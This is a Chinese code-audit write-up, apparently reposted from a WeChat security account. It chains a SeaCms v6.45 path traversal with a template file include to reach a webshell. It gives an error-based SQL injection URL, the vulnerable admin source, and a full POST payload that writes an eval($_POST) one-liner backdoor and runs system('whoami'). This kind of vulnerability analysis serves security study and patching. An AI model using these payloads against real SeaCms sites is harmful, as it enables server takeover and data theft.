SeaCms 代码审计getshell

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系刘一手。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

版本:

SeaCms v6.45

下载地址

https://down.easck.com/code/29585.html#xzdz

测试install处是否可以getshell

数据库名可以写入到data目录下的common.inc.php中,尝试进行写入';phpinfo();#进行闭合,但是对和'都进行了转义SeaCms 代码审计getshell故无法利用 通读 index.php 和 admin/index.php 和 admin/login.php 文件 SeaCms 用 addslashes 函数对参数进行处理

function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}

且数据库编码并没有设置为 GBK,这种情况下可能产生的 SQL 注入的有两种

  • 把客户端IP存储进数据库,且客户端IP可以伪造
  • SQL 语句参数没有引号包裹或者用 反引号 等包裹

上seay源代码审计工具,简化人工审计工作量SeaCms 代码审计getshell可以看到这个$ids没有单引号包裹,这条语句是在 Readrlist 函数执行的SeaCms 代码审计getshell可构造语句造成报错注入

comment/api/index.php?gid=1&page=2&rlist[]=extractvalue(1,concat_ws(0x7e,user(),database()))

来到后台我注意到有一个模板编辑功能SeaCms 代码审计getshell查看admin_template.php内容

<?php
require_once(dirname(__FILE__)."/config.php");
if(empty($action))
{
$action = '';
}

$dirTemplate="../templets";

if($action=='edit')
{
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允许编辑templets目录!","admin_template.php");
exit;
}
$filetype=getfileextend($filedir);
if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
{
ShowMsg("操作被禁止!","admin_template.php");
exit;
}
$filename=substr($filedir,strrpos($filedir,'/')+1,strlen($filedir)-1);
$content=loadFile($filedir);
$content = m_eregi_replace("<textarea","##textarea",$content);
$content = m_eregi_replace("</textarea","##/textarea",$content);
$content = m_eregi_replace("<form","##form",$content);
$content = m_eregi_replace("</form","##/form",$content);
include(sea_ADMIN.'/templets/admin_template.htm');
exit();
}
elseif($action=='editCus')
{
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允许编辑templets目录!","admin_template.php");
exit;
}
$filetype=getfileextend($filedir);
if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
{
ShowMsg("操作被禁止!","admin_template.php");
exit;
}
$filename=substr($filedir,strrpos($filedir,'/')+1,strlen($filedir)-1);
$content=loadFile($filedir);
$content = m_eregi_replace("<textarea","##textarea",$content);
$content = m_eregi_replace("</textarea","##/textarea",$content);
$content = m_eregi_replace("<form","##form",$content);
$content = m_eregi_replace("</form","##/form",$content);
include(sea_ADMIN.'/templets/admin_template.htm');
exit();
}
elseif($action=='saveCus')
{
if($filedir == '')
{
ShowMsg('未指定要编辑的文件或文件名不合法', '-1');
exit();
}
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允许编辑templets目录!","admin_template.php");
exit;
}
$filetype=getfileextend($filedir);
if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
{
ShowMsg("操作被禁止!","admin_template.php");
exit;
}
$folder=substr($filedir,0,strrpos($filedir,'/'));
if(!is_dir($folder)){
ShowMsg("目录不存在!","admin_template.php");
exit;
}
$content = stripslashes($content);
$content = m_eregi_replace("##textarea","<textarea",$content);
$content = m_eregi_replace("##/textarea","</textarea",$content);
$content = m_eregi_replace("##form","<form",$content);
$content = m_eregi_replace("##/form","</form",$content);
createTextFile($content,$filedir);
ShowMsg("操作成功!","admin_template.php?action=custom");
exit;
}
elseif($action=='save')
{
if($filedir == '')
{
ShowMsg('未指定要编辑的文件或文件名不合法', '-1');
exit();
}
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允许编辑templets目录!","admin_template.php");
exit;
}
$filetype=getfileextend($filedir);
if ($filetype!="html" && $filetype!="htm" && $filetype!="js" && $filetype!="css" && $filetype!="txt")
{
ShowMsg("操作被禁止!","admin_template.php");
exit;
}
$folder=substr($filedir,0,strrpos($filedir,'/'));
if(!is_dir($folder)){
ShowMsg("目录不存在!","admin_template.php");
exit;
}
$content = stripslashes($content);
$content = m_eregi_replace("##textarea","<textarea",$content);
$content = m_eregi_replace("##/textarea","</textarea",$content);
$content = m_eregi_replace("##form","<form",$content);
$content = m_eregi_replace("##/form","</form",$content);
createTextFile($content,$filedir);
ShowMsg("操作成功!","admin_template.php?path=".$folder);
exit;
}
elseif($action=='del')
{
if($filedir == '')
{
ShowMsg('未指定要删除的文件或文件名不合法', '-1');
exit();
}
if(substr(strtolower($filedir),0,11)!=$dirTemplate){
ShowMsg("只允许删除templets目录内的文件!","admin_template.php");
exit;
}
$folder=substr($filedir,0,strrpos($filedir,'/'));
if(!is_dir($folder)){
ShowMsg("目录不存在!","admin_template.php");
exit;
}
unlink($filedir);
ShowMsg("操作成功!","admin_template.php?path=".$folder);
exit;
}
elseif($action=='add')
{
include(sea_ADMIN.'/templets/admin_template.htm');
exit();
}
elseif($action=='custom')
{
include(sea_ADMIN.'/templets/admin_template.htm');
exit();
}
elseif($action=='savenew')
{
if(empty($name)){
ShowMsg("请填写文件名","-1");
exit;
}
if(!m_ereg("^[0-9a-z-]+$",$name)){
ShowMsg("文件名不合法","-1");
exit;
}
$defaultfolder="../templets/".$cfg_df_style."/".$cfg_df_html;
if(empty($filedir)) $filedir=$defaultfolder;
if($filedir!=$defaultfolder){
ShowMsg("只能把模板添加在{$defaultfolder}文件夹","admin_template.php?path=".$filedir);
exit;
}
if(file_exists($filedir."/self_".$name.".html")){
ShowMsg("已存在该文件请更换名称","-1");
exit;
}
createTextFile($content,$filedir."/self_".$name.".html");
ShowMsg("操作成功!","admin_template.php?action=custom");
exit;
}
else
{
if(empty($path)) $path=$dirTemplate; else $path=strtolower($path);
if(substr($path,0,11)!=$dirTemplate){
ShowMsg("只允许编辑templets目录!","admin_template.php");
exit;
}
$flist=getFolderList($path);
include(sea_ADMIN.'/templets/admin_template.htm');
exit();
}
?>

写入目录限制在 ../templets 上,可以通过目录穿越绕过这一点,这时候是写入文件内容可控SeaCms 代码审计getshell文件名后缀只能是 html/htm/js/css/txtSeaCms 代码审计getshell在前面通读代码的时候注意到 admin/login.php 有一个文件包含操作

include('templets/login.htm');

通过目录穿越+文件包含就可以通过写入一句话到 login.htm 文件中 修改模版通过burp进行抓包SeaCms 代码审计getshellSeaCms 代码审计getshell将原始data修改

content=<?php fputs(fopen('a.php','w'),'<?php eval($_POST["a"]);?>');?>&filedir=../templets/../admin/templets/login.htm&Submit=%E4%BF%AE%E6%94%B9%E6%A8%A1%E6%9D%BF

SeaCms 代码审计getshell访问 admin/login.php 会在admin下生成一个a.phpSeaCms 代码审计getshell执行下system("whoami");  成功SeaCms 代码审计getshell

欢 迎 加入学习












SeaCms 代码审计getshell

SeaCms 代码审计getshell


原文始发于微信公众号(鹏组安全):SeaCms 代码审计getshell

版权声明:admin 发表于 2022年11月19日 下午2:48。
转载请注明:SeaCms 代码审计getshell | CTF导航

相关文章

暂无评论

暂无评论...